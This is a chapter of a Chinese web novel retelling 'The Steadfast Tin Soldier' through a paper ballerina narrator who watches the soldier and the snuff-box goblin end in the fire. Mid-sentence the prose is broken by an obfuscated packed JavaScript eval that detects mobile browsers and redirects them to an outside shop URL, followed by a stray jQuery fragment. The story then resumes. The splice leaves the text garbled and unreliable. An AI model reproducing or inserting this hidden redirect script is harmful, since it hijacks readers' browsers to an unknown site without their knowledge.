鼻烟壶?
我心头一凛。
看反派干哈?
不过按照剧情,鼻烟壶里的黑妖精这会也该施法蛊惑这卧室里的一个小孩,将锡兵一把抓起丢进壁炉的火塘中了。
(*^▽^*)嘎嘎嘎~
一切都处于进行状态,故事即将迎来高潮。
孩子们在笑闹着,整个卧室都被快乐的氛围包裹。
且等等看,我按捺住心头的古怪,换了个舞姿眺望。
只是、呃....越看越不得劲,这......锡兵和鼻烟壶......这这这......好上了?
我眯起眼来。
要不是时机不合适,好歹比个OK只取O,把O比在眼眶上,最后叠个八倍镜。
边看我口中边发出啧啧的声音。
一点不像“失恋”呐,锡兵同志,怎么搁那对鼻烟壶释放你黏黏呼呼滴眼神哩?
哟哟哟,搞咩啊,搞基捏?
当然,不排除单相思,这是锡兵先生的特质。
我心头一凛又一凛,倒不是为了意外的变故而紧张,而是......兴奋呐!
虽然不知道昨晚又发生了什么,但肯定发生了什么。
同样的,瞅这架势,鼻烟壶里的黑妖精大概率不会作怪了。
我故作邪魅一笑。
这不更好,锡兵不入火炉,锡心从哪出?
这结局,大改,妙的很——
女主单飞,男主与反派携手大团圆!
卧室里一片其乐融融。
这纸头身体就是轻盈,我直接原地99个挥鞭转以示祝福。
天色逐渐黑了下去。
小男孩的伙伴们开始作别。
一切都在按我的轨迹发展,可......似乎有哪里不对劲?
小男孩送走了所有的朋友,屋里只剩下他一人了,他便回到桌前一个人玩起了卡车对对碰。
我的目光扫到那扇看起来是关上状态的窗——
一拍脑袋,恍然大悟!
今天早上把锡兵从窗台吹落的家伙不可能是黑妖精!
跟你好了,还往死里整你,又不是缺心眼。
所以,真相只有一个!
我脸色不太好。
第三方、第三方......竟然真的还有第三方?!
没玩几下,小男孩便开始做睡前准备工作,他应该是要去拉窗帘。
来不及了!!!
火急火燎间,我眼睁睁看着:
小男孩发现窗没关好,便拉开准备重新关,只是在缝隙越拉越大时,疯狂挤进来的风裹挟着桌面的独腿锡兵,将他送入了熊熊燃烧的壁炉中......
好一阵妖风,我冷笑。
不,加上之前的,是两阵。
好霸道的参赛手段,好好好......
不过,幸好我还在金城堡,结局依旧能被改变。
我定下心来。
至于第三阵妖风嘛,照理不会。
这神鬼不知的第一局,就算以那老登的人品阈值,“事不过三”也太是过分,“事不到三”倒勉强合理。
不然我还玩啥啊玩,我的老天鹅——!
滋啦......滋啦......
滋啦滋啦......
站在火中的锡兵,全身亮起来了,我似乎也能感受到这股灼人的热气。
我已经平静了下来,摒弃所谓爱情的这部分,我是敬佩锡兵的。
在全场的瞩目中,锡兵慢慢熔化。
此刻的他依旧沉默,可这种沉默又是震耳发聩的!
他代表的不止是他自己,而火炉似乎不再是一个可怕的地方,它更像是一个壮烈的讲台。
我微微皱眉。
这可以是一场关于“残缺者的尊严与存在主义勇气”的无声演述——
作为一个先天残缺的个体,在一个不公且无常的世界里,如何坚守自己的“存在”。
锡兵先生只有一条腿,这是他与生俱来的“命定缺陷”,但他可以站得非常稳,丝毫不比他的兄弟们差。
这象征着身体的残缺并不等同于精神或人格的残缺,锡兵的价值在于他内心的坚定,而非外形的完美!
锡兵先生全程没有说过一句话。
他的勇敢并非通过豪言壮语,而是通过行动展现:
无论在颠簸的纸船上,黑暗的下水道里,还是在吞噬他的鱼腹中,他都“紧紧地扛着他的枪,眼睛笔直地向前看”......
尽管此刻他的身体遭受了毁灭,但他最核心的品质即爱、勇气、坚定却将被提炼和永恒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849759|211800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
化。
第二天的灰烬中,那颗锡心会是他存在的证明,是他灵魂的结晶,比他那完整的兄弟们更有价值!
这不仅是一个童话,更是一曲写给所有残缺却拥有不屈灵魂者的赞歌!!!
咳......
不好意思,毕竟是第一次见这样的大场面,我给锡兵配了段白。
真是让人潸然泪下啊,我兀自点头。
靠!
目光晃到桌面另一侧时,纸头颅僵住,随即那副五官便做出大惊失态的神色。
如同曾经的纸芭蕾舞姑娘一般,大抵是因为这无声的震撼,黑妖精竟然抱着鼻烟壶义无反顾地跳入了火炉!
靠靠靠,你读我的旁白了嘛你,感动啥子嘛闹?!
福至心灵般,火炉中的锡兵看着那只半旧不新的鼻烟壶,目光愈发平和起来,甚至是轻松的......
他或许是在想:
我没有您那样出入战场的丰功伟绩,但在这个地方已经没有隔阂了,我们能成为最知心的朋友了。
至于黑妖精嘛:
我好像冲动了,可此情此景很难不冲动撒!再说日子真的很无聊啦,作为第一个跑到鼻烟壶跟前来的家伙,我就给他这个优待咯~
“他爷爷的......”
“不、不不......”
“不——!!!!”
在这个夜里,时间仿佛暂停,心绪几乎崩裂的我再也无所顾忌,飞身冲到了火炉前——
可......
我一个技术后退,又一个超绝后仰,裙裾几乎被扬起的火星子灼到。
“靠,差点被三杀了!”撇下什么也抓握不到的手,我老老实实让这副纸身体远离火源。
不过,我依旧被什么吞噬了。
“真被三杀了啊喂??啊啊啊啊慢点飞......”
留下这样一句话,我被卷进了传送旋涡中,悲愤离场。
心头关于鼻烟壶燃烧后续不作数的侥幸想法自然立马被打散。
在由星粒子组成的加速光幕中,我看到了第二天清晨的景象:
火炉的灰烬中,锡心依旧是锡心,而碳化的塑料则变成了小男孩系到鼻烟壶上的塑料挂坠。
结论:结局并没有被改变!
......